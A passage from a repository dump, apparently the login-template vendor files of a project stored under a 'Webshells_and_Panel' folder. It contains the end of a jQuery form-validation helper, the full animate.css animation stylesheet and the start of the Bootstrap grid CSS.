hideValidate(input) {\r\n        var thisAlert = $(input).parent();\r\n\r\n        $(thisAlert).removeClass('alert-validate');\r\n    }\r\n    \r\n    \r\n\r\n})(jQuery);"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/animate/animate.css",
    "content": "@charset \"UTF-8\";\n\n/*!\n * animate.css -http://daneden.me/animate\n * Version - 3.5.2\n * Licensed under the MIT license - http://opensource.org/licenses/MIT\n *\n * Copyright (c) 2017 Daniel Eden\n */\n\n.animated {\n  animation-duration: 1s;\n  animation-fill-mode: both;\n}\n\n.animated.infinite {\n  animation-iteration-count: infinite;\n}\n\n.animated.hinge {\n  animation-duration: 2s;\n}\n\n.animated.flipOutX,\n.animated.flipOutY,\n.animated.bounceIn,\n.animated.bounceOut {\n  animation-duration: .75s;\n}\n\n@keyframes bounce {\n  from, 20%, 53%, 80%, to {\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    transform: translate3d(0,0,0);\n  }\n\n  40%, 43% {\n    animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    transform: translate3d(0, -30px, 0);\n  }\n\n  70% {\n    animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    transform: translate3d(0, -15px, 0);\n  }\n\n  90% {\n    transform: translate3d(0,-4px,0);\n  }\n}\n\n.bounce {\n  animation-name: bounce;\n  transform-origin: center bottom;\n}\n\n@keyframes flash {\n  from, 50%, to {\n    opacity: 1;\n  }\n\n  25%, 75% {\n    opacity: 0;\n  }\n}\n\n.flash {\n  animation-name: flash;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@keyframes pulse {\n  from {\n    transform: scale3d(1, 1, 1);\n  }\n\n  50% {\n    transform: scale3d(1.05, 1.05, 1.05);\n  }\n\n  to {\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.pulse {\n  animation-name: pulse;\n}\n\n@keyframes rubberBand {\n  from {\n    transform: scale3d(1, 1, 1);\n  }\n\n  30% {\n    transform: scale3d(1.25, 0.75, 1);\n  }\n\n  40% {\n    transform: scale3d(0.75, 1.25, 1);\n  }\n\n  50% {\n    transform: scale3d(1.15, 0.85, 1);\n  }\n\n  65% {\n    transform: scale3d(.95, 1.05, 1);\n  }\n\n  75% {\n    transform: scale3d(1.05, .95, 1);\n  }\n\n  to {\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.rubberBand {\n  animation-name: rubberBand;\n}\n\n@keyframes shake {\n  from, to {\n    transform: translate3d(0, 0, 0);\n  }\n\n  10%, 30%, 50%, 70%, 90% {\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  20%, 40%, 60%, 80% {\n    transform: translate3d(10px, 0, 0);\n  }\n}\n\n.shake {\n  animation-name: shake;\n}\n\n@keyframes headShake {\n  0% {\n    transform: translateX(0);\n  }\n\n  6.5% {\n    transform: translateX(-6px) rotateY(-9deg);\n  }\n\n  18.5% {\n    transform: translateX(5px) rotateY(7deg);\n  }\n\n  31.5% {\n    transform: translateX(-3px) rotateY(-5deg);\n  }\n\n  43.5% {\n    transform: translateX(2px) rotateY(3deg);\n  }\n\n  50% {\n    transform: translateX(0);\n  }\n}\n\n.headShake {\n  animation-timing-function: ease-in-out;\n  animation-name: headShake;\n}\n\n@keyframes swing {\n  20% {\n    transform: rotate3d(0, 0, 1, 15deg);\n  }\n\n  40% {\n    transform: rotate3d(0, 0, 1, -10deg);\n  }\n\n  60% {\n    transform: rotate3d(0, 0, 1, 5deg);\n  }\n\n  80% {\n    transform: rotate3d(0, 0, 1, -5deg);\n  }\n\n  to {\n    transform: rotate3d(0, 0, 1, 0deg);\n  }\n}\n\n.swing {\n  transform-origin: top center;\n  animation-name: swing;\n}\n\n@keyframes tada {\n  from {\n    transform: scale3d(1, 1, 1);\n  }\n\n  10%, 20% {\n    transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg);\n  }\n\n  30%, 50%, 70%, 90% {\n    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);\n  }\n\n  40%, 60%, 80% {\n    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);\n  }\n\n  to {\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.tada {\n  animation-name: tada;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@keyframes wobble {\n  from {\n    transform: none;\n  }\n\n  15% {\n    transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);\n  }\n\n  30% {\n    transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);\n  }\n\n  45% {\n    transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);\n  }\n\n  60% {\n    transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);\n  }\n\n  75% {\n    transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);\n  }\n\n  to {\n    transform: none;\n  }\n}\n\n.wobble {\n  animation-name: wobble;\n}\n\n@keyframes jello {\n  from, 11.1%, to {\n    transform: none;\n  }\n\n  22.2% {\n    transform: skewX(-12.5deg) skewY(-12.5deg);\n  }\n\n  33.3% {\n    transform: skewX(6.25deg) skewY(6.25deg);\n  }\n\n  44.4% {\n    transform: skewX(-3.125deg) skewY(-3.125deg);\n  }\n\n  55.5% {\n    transform: skewX(1.5625deg) skewY(1.5625deg);\n  }\n\n  66.6% {\n    transform: skewX(-0.78125deg) skewY(-0.78125deg);\n  }\n\n  77.7% {\n    transform: skewX(0.390625deg) skewY(0.390625deg);\n  }\n\n  88.8% {\n    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);\n  }\n}\n\n.jello {\n  animation-name: jello;\n  transform-origin: center;\n}\n\n@keyframes bounceIn {\n  from, 20%, 40%, 60%, 80%, to {\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    transform: scale3d(.3, .3, .3);\n  }\n\n  20% {\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  40% {\n    transform: scale3d(.9, .9, .9);\n  }\n\n  60% {\n    opacity: 1;\n    transform: scale3d(1.03, 1.03, 1.03);\n  }\n\n  80% {\n    transform: scale3d(.97, .97, .97);\n  }\n\n  to {\n    opacity: 1;\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.bounceIn {\n  animation-name: bounceIn;\n}\n\n@keyframes bounceInDown {\n  from, 60%, 75%, 90%, to {\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    transform: translate3d(0, -3000px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    transform: translate3d(0, 25px, 0);\n  }\n\n  75% {\n    transform: translate3d(0, -10px, 0);\n  }\n\n  90% {\n    transform: translate3d(0, 5px, 0);\n  }\n\n  to {\n    transform: none;\n  }\n}\n\n.bounceInDown {\n  animation-name: bounceInDown;\n}\n\n@keyframes bounceInLeft {\n  from, 60%, 75%, 90%, to {\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  0% {\n    opacity: 0;\n    transform: translate3d(-3000px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    transform: translate3d(25px, 0, 0);\n  }\n\n  75% {\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  90% {\n    transform: translate3d(5px, 0, 0);\n  }\n\n  to {\n    transform: none;\n  }\n}\n\n.bounceInLeft {\n  animation-name: bounceInLeft;\n}\n\n@keyframes bounceInRight {\n  from, 60%, 75%, 90%, to {\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  from {\n    opacity: 0;\n    transform: translate3d(3000px, 0, 0);\n  }\n\n  60% {\n    opacity: 1;\n    transform: translate3d(-25px, 0, 0);\n  }\n\n  75% {\n    transform: translate3d(10px, 0, 0);\n  }\n\n  90% {\n    transform: translate3d(-5px, 0, 0);\n  }\n\n  to {\n    transform: none;\n  }\n}\n\n.bounceInRight {\n  animation-name: bounceInRight;\n}\n\n@keyframes bounceInUp {\n  from, 60%, 75%, 90%, to {\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n  }\n\n  from {\n    opacity: 0;\n    transform: translate3d(0, 3000px, 0);\n  }\n\n  60% {\n    opacity: 1;\n    transform: translate3d(0, -20px, 0);\n  }\n\n  75% {\n    transform: translate3d(0, 10px, 0);\n  }\n\n  90% {\n    transform: translate3d(0, -5px, 0);\n  }\n\n  to {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.bounceInUp {\n  animation-name: bounceInUp;\n}\n\n@keyframes bounceOut {\n  20% {\n    transform: scale3d(.9, .9, .9);\n  }\n\n  50%, 55% {\n    opacity: 1;\n    transform: scale3d(1.1, 1.1, 1.1);\n  }\n\n  to {\n    opacity: 0;\n    transform: scale3d(.3, .3, .3);\n  }\n}\n\n.bounceOut {\n  animation-name: bounceOut;\n}\n\n@keyframes bounceOutDown {\n  20% {\n    transform: translate3d(0, 10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    transform: translate3d(0, -20px, 0);\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n.bounceOutDown {\n  animation-name: bounceOutDown;\n}\n\n@keyframes bounceOutLeft {\n  20% {\n    opacity: 1;\n    transform: translate3d(20px, 0, 0);\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n.bounceOutLeft {\n  animation-name: bounceOutLeft;\n}\n\n@keyframes bounceOutRight {\n  20% {\n    opacity: 1;\n    transform: translate3d(-20px, 0, 0);\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n.bounceOutRight {\n  animation-name: bounceOutRight;\n}\n\n@keyframes bounceOutUp {\n  20% {\n    transform: translate3d(0, -10px, 0);\n  }\n\n  40%, 45% {\n    opacity: 1;\n    transform: translate3d(0, 20px, 0);\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n.bounceOutUp {\n  animation-name: bounceOutUp;\n}\n\n@keyframes fadeIn {\n  from {\n    opacity: 0;\n  }\n\n  to {\n    opacity: 1;\n  }\n}\n\n.fadeIn {\n  animation-name: fadeIn;\n}\n\n@keyframes fadeInDown {\n  from {\n    opacity: 0;\n    transform: translate3d(0, -100%, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInDown {\n  animation-name: fadeInDown;\n}\n\n@keyframes fadeInDownBig {\n  from {\n    opacity: 0;\n    transform: translate3d(0, -2000px, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInDownBig {\n  animation-name: fadeInDownBig;\n}\n\n@keyframes fadeInLeft {\n  from {\n    opacity: 0;\n    transform: translate3d(-100%, 0, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInLeft {\n  animation-name: fadeInLeft;\n}\n\n@keyframes fadeInLeftBig {\n  from {\n    opacity: 0;\n    transform: translate3d(-2000px, 0, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInLeftBig {\n  animation-name: fadeInLeftBig;\n}\n\n@keyframes fadeInRight {\n  from {\n    opacity: 0;\n    transform: translate3d(100%, 0, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInRight {\n  animation-name: fadeInRight;\n}\n\n@keyframes fadeInRightBig {\n  from {\n    opacity: 0;\n    transform: translate3d(2000px, 0, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInRightBig {\n  animation-name: fadeInRightBig;\n}\n\n@keyframes fadeInUp {\n  from {\n    opacity: 0;\n    transform: translate3d(0, 100%, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInUp {\n  animation-name: fadeInUp;\n}\n\n@keyframes fadeInUpBig {\n  from {\n    opacity: 0;\n    transform: translate3d(0, 2000px, 0);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.fadeInUpBig {\n  animation-name: fadeInUpBig;\n}\n\n@keyframes fadeOut {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n  }\n}\n\n.fadeOut {\n  animation-name: fadeOut;\n}\n\n@keyframes fadeOutDown {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(0, 100%, 0);\n  }\n}\n\n.fadeOutDown {\n  animation-name: fadeOutDown;\n}\n\n@keyframes fadeOutDownBig {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(0, 2000px, 0);\n  }\n}\n\n.fadeOutDownBig {\n  animation-name: fadeOutDownBig;\n}\n\n@keyframes fadeOutLeft {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.fadeOutLeft {\n  animation-name: fadeOutLeft;\n}\n\n@keyframes fadeOutLeftBig {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(-2000px, 0, 0);\n  }\n}\n\n.fadeOutLeftBig {\n  animation-name: fadeOutLeftBig;\n}\n\n@keyframes fadeOutRight {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.fadeOutRight {\n  animation-name: fadeOutRight;\n}\n\n@keyframes fadeOutRightBig {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(2000px, 0, 0);\n  }\n}\n\n.fadeOutRightBig {\n  animation-name: fadeOutRightBig;\n}\n\n@keyframes fadeOutUp {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(0, -100%, 0);\n  }\n}\n\n.fadeOutUp {\n  animation-name: fadeOutUp;\n}\n\n@keyframes fadeOutUpBig {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(0, -2000px, 0);\n  }\n}\n\n.fadeOutUpBig {\n  animation-name: fadeOutUpBig;\n}\n\n@keyframes flip {\n  from {\n    transform: perspective(400px) rotate3d(0, 1, 0, -360deg);\n    animation-timing-function: ease-out;\n  }\n\n  40% {\n    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);\n    animation-timing-function: ease-out;\n  }\n\n  50% {\n    transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);\n    animation-timing-function: ease-in;\n  }\n\n  80% {\n    transform: perspective(400px) scale3d(.95, .95, .95);\n    animation-timing-function: ease-in;\n  }\n\n  to {\n    transform: perspective(400px);\n    animation-timing-function: ease-in;\n  }\n}\n\n.animated.flip {\n  -webkit-backface-visibility: visible;\n  backface-visibility: visible;\n  animation-name: flip;\n}\n\n@keyframes flipInX {\n  from {\n    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    animation-timing-function: ease-in;\n    opacity: 0;\n  }\n\n  40% {\n    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    animation-timing-function: ease-in;\n  }\n\n  60% {\n    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);\n    opacity: 1;\n  }\n\n  80% {\n    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);\n  }\n\n  to {\n    transform: perspective(400px);\n  }\n}\n\n.flipInX {\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n  animation-name: flipInX;\n}\n\n@keyframes flipInY {\n  from {\n    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    animation-timing-function: ease-in;\n    opacity: 0;\n  }\n\n  40% {\n    transform: perspective(400px) rotate3d(0, 1, 0, -20deg);\n    animation-timing-function: ease-in;\n  }\n\n  60% {\n    transform: perspective(400px) rotate3d(0, 1, 0, 10deg);\n    opacity: 1;\n  }\n\n  80% {\n    transform: perspective(400px) rotate3d(0, 1, 0, -5deg);\n  }\n\n  to {\n    transform: perspective(400px);\n  }\n}\n\n.flipInY {\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n  animation-name: flipInY;\n}\n\n@keyframes flipOutX {\n  from {\n    transform: perspective(400px);\n  }\n\n  30% {\n    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n    opacity: 1;\n  }\n\n  to {\n    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n    opacity: 0;\n  }\n}\n\n.flipOutX {\n  animation-name: flipOutX;\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n}\n\n@keyframes flipOutY {\n  from {\n    transform: perspective(400px);\n  }\n\n  30% {\n    transform: perspective(400px) rotate3d(0, 1, 0, -15deg);\n    opacity: 1;\n  }\n\n  to {\n    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);\n    opacity: 0;\n  }\n}\n\n.flipOutY {\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n  animation-name: flipOutY;\n}\n\n@keyframes lightSpeedIn {\n  from {\n    transform: translate3d(100%, 0, 0) skewX(-30deg);\n    opacity: 0;\n  }\n\n  60% {\n    transform: skewX(20deg);\n    opacity: 1;\n  }\n\n  80% {\n    transform: skewX(-5deg);\n    opacity: 1;\n  }\n\n  to {\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.lightSpeedIn {\n  animation-name: lightSpeedIn;\n  animation-timing-function: ease-out;\n}\n\n@keyframes lightSpeedOut {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    transform: translate3d(100%, 0, 0) skewX(30deg);\n    opacity: 0;\n  }\n}\n\n.lightSpeedOut {\n  animation-name: lightSpeedOut;\n  animation-timing-function: ease-in;\n}\n\n@keyframes rotateIn {\n  from {\n    transform-origin: center;\n    transform: rotate3d(0, 0, 1, -200deg);\n    opacity: 0;\n  }\n\n  to {\n    transform-origin: center;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateIn {\n  animation-name: rotateIn;\n}\n\n@keyframes rotateInDownLeft {\n  from {\n    transform-origin: left bottom;\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n\n  to {\n    transform-origin: left bottom;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInDownLeft {\n  animation-name: rotateInDownLeft;\n}\n\n@keyframes rotateInDownRight {\n  from {\n    transform-origin: right bottom;\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n\n  to {\n    transform-origin: right bottom;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInDownRight {\n  animation-name: rotateInDownRight;\n}\n\n@keyframes rotateInUpLeft {\n  from {\n    transform-origin: left bottom;\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n\n  to {\n    transform-origin: left bottom;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInUpLeft {\n  animation-name: rotateInUpLeft;\n}\n\n@keyframes rotateInUpRight {\n  from {\n    transform-origin: right bottom;\n    transform: rotate3d(0, 0, 1, -90deg);\n    opacity: 0;\n  }\n\n  to {\n    transform-origin: right bottom;\n    transform: none;\n    opacity: 1;\n  }\n}\n\n.rotateInUpRight {\n  animation-name: rotateInUpRight;\n}\n\n@keyframes rotateOut {\n  from {\n    transform-origin: center;\n    opacity: 1;\n  }\n\n  to {\n    transform-origin: center;\n    transform: rotate3d(0, 0, 1, 200deg);\n    opacity: 0;\n  }\n}\n\n.rotateOut {\n  animation-name: rotateOut;\n}\n\n@keyframes rotateOutDownLeft {\n  from {\n    transform-origin: left bottom;\n    opacity: 1;\n  }\n\n  to {\n    transform-origin: left bottom;\n    transform: rotate3d(0, 0, 1, 45deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutDownLeft {\n  animation-name: rotateOutDownLeft;\n}\n\n@keyframes rotateOutDownRight {\n  from {\n    transform-origin: right bottom;\n    opacity: 1;\n  }\n\n  to {\n    transform-origin: right bottom;\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutDownRight {\n  animation-name: rotateOutDownRight;\n}\n\n@keyframes rotateOutUpLeft {\n  from {\n    transform-origin: left bottom;\n    opacity: 1;\n  }\n\n  to {\n    transform-origin: left bottom;\n    transform: rotate3d(0, 0, 1, -45deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutUpLeft {\n  animation-name: rotateOutUpLeft;\n}\n\n@keyframes rotateOutUpRight {\n  from {\n    transform-origin: right bottom;\n    opacity: 1;\n  }\n\n  to {\n    transform-origin: right bottom;\n    transform: rotate3d(0, 0, 1, 90deg);\n    opacity: 0;\n  }\n}\n\n.rotateOutUpRight {\n  animation-name: rotateOutUpRight;\n}\n\n@keyframes hinge {\n  0% {\n    transform-origin: top left;\n    animation-timing-function: ease-in-out;\n  }\n\n  20%, 60% {\n    transform: rotate3d(0, 0, 1, 80deg);\n    transform-origin: top left;\n    animation-timing-function: ease-in-out;\n  }\n\n  40%, 80% {\n    transform: rotate3d(0, 0, 1, 60deg);\n    transform-origin: top left;\n    animation-timing-function: ease-in-out;\n    opacity: 1;\n  }\n\n  to {\n    transform: translate3d(0, 700px, 0);\n    opacity: 0;\n  }\n}\n\n.hinge {\n  animation-name: hinge;\n}\n\n@keyframes jackInTheBox {\n  from {\n    opacity: 0;\n    transform: scale(0.1) rotate(30deg);\n    transform-origin: center bottom;\n  }\n\n  50% {\n    transform: rotate(-10deg);\n  }\n\n  70% {\n    transform: rotate(3deg);\n  }\n\n  to {\n    opacity: 1;\n    transform: scale(1);\n  }\n}\n\n.jackInTheBox {\n  animation-name: jackInTheBox;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@keyframes rollIn {\n  from {\n    opacity: 0;\n    transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);\n  }\n\n  to {\n    opacity: 1;\n    transform: none;\n  }\n}\n\n.rollIn {\n  animation-name: rollIn;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@keyframes rollOut {\n  from {\n    opacity: 1;\n  }\n\n  to {\n    opacity: 0;\n    transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);\n  }\n}\n\n.rollOut {\n  animation-name: rollOut;\n}\n\n@keyframes zoomIn {\n  from {\n    opacity: 0;\n    transform: scale3d(.3, .3, .3);\n  }\n\n  50% {\n    opacity: 1;\n  }\n}\n\n.zoomIn {\n  animation-name: zoomIn;\n}\n\n@keyframes zoomInDown {\n  from {\n    opacity: 0;\n    transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInDown {\n  animation-name: zoomInDown;\n}\n\n@keyframes zoomInLeft {\n  from {\n    opacity: 0;\n    transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInLeft {\n  animation-name: zoomInLeft;\n}\n\n@keyframes zoomInRight {\n  from {\n    opacity: 0;\n    transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInRight {\n  animation-name: zoomInRight;\n}\n\n@keyframes zoomInUp {\n  from {\n    opacity: 0;\n    transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  60% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomInUp {\n  animation-name: zoomInUp;\n}\n\n@keyframes zoomOut {\n  from {\n    opacity: 1;\n  }\n\n  50% {\n    opacity: 0;\n    transform: scale3d(.3, .3, .3);\n  }\n\n  to {\n    opacity: 0;\n  }\n}\n\n.zoomOut {\n  animation-name: zoomOut;\n}\n\n@keyframes zoomOutDown {\n  40% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  to {\n    opacity: 0;\n    transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);\n    transform-origin: center bottom;\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomOutDown {\n  animation-name: zoomOutDown;\n}\n\n@keyframes zoomOutLeft {\n  40% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0);\n  }\n\n  to {\n    opacity: 0;\n    transform: scale(.1) translate3d(-2000px, 0, 0);\n    transform-origin: left center;\n  }\n}\n\n.zoomOutLeft {\n  animation-name: zoomOutLeft;\n}\n\n@keyframes zoomOutRight {\n  40% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0);\n  }\n\n  to {\n    opacity: 0;\n    transform: scale(.1) translate3d(2000px, 0, 0);\n    transform-origin: right center;\n  }\n}\n\n.zoomOutRight {\n  animation-name: zoomOutRight;\n}\n\n@keyframes zoomOutUp {\n  40% {\n    opacity: 1;\n    transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);\n    animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190);\n  }\n\n  to {\n    opacity: 0;\n    transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);\n    transform-origin: center bottom;\n    animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1);\n  }\n}\n\n.zoomOutUp {\n  animation-name: zoomOutUp;\n}\n\n@keyframes slideInDown {\n  from {\n    transform: translate3d(0, -100%, 0);\n    visibility: visible;\n  }\n\n  to {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInDown {\n  animation-name: slideInDown;\n}\n\n@keyframes slideInLeft {\n  from {\n    transform: translate3d(-100%, 0, 0);\n    visibility: visible;\n  }\n\n  to {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInLeft {\n  animation-name: slideInLeft;\n}\n\n@keyframes slideInRight {\n  from {\n    transform: translate3d(100%, 0, 0);\n    visibility: visible;\n  }\n\n  to {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInRight {\n  animation-name: slideInRight;\n}\n\n@keyframes slideInUp {\n  from {\n    transform: translate3d(0, 100%, 0);\n    visibility: visible;\n  }\n\n  to {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.slideInUp {\n  animation-name: slideInUp;\n}\n\n@keyframes slideOutDown {\n  from {\n    transform: translate3d(0, 0, 0);\n  }\n\n  to {\n    visibility: hidden;\n    transform: translate3d(0, 100%, 0);\n  }\n}\n\n.slideOutDown {\n  animation-name: slideOutDown;\n}\n\n@keyframes slideOutLeft {\n  from {\n    transform: translate3d(0, 0, 0);\n  }\n\n  to {\n    visibility: hidden;\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.slideOutLeft {\n  animation-name: slideOutLeft;\n}\n\n@keyframes slideOutRight {\n  from {\n    transform: translate3d(0, 0, 0);\n  }\n\n  to {\n    visibility: hidden;\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.slideOutRight {\n  animation-name: slideOutRight;\n}\n\n@keyframes slideOutUp {\n  from {\n    transform: translate3d(0, 0, 0);\n  }\n\n  to {\n    visibility: hidden;\n    transform: translate3d(0, -100%, 0);\n  }\n}\n\n.slideOutUp {\n  animation-name: slideOutUp;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/bootstrap/css/bootstrap-grid.css",
    "content": "@-ms-viewport {\n  width: device-width;\n}\n\nhtml {\n  box-sizing: border-box;\n  -ms-overflow-style: scrollbar;\n}\n\n*,\n*::before,\n*::after {\n  box-sizing: inherit;\n}\n\n.container {\n  margin-right: auto;\n  margin-left: auto;\n  padding-right: 15px;\n  padding-left: 15px;\n  width: 100%;\n}\n\n@media (min-width: 576px) {\n  .container {\n    max-width: 540px;\n  }\n}\n\n@media (min-width: 768px) {\n  .container {\n    max-width: 720px;\n  }\n}\n\n@media (min-width: 992px) {\n  .container {\n    max-width: 960px;\n  }\n}\n\n@media (min-width: 1200px) {\n  .container {\n    max-width: 1140px;\n  }\n}\n\n.container-fluid {\n  width: 100%;\n  margin-right: auto;\n  margin-left: auto;\n  padding-right: 15px;\n  padding-left: 15px;\n  width: 100%;\n}\n\n.row {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.no-gutters {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, 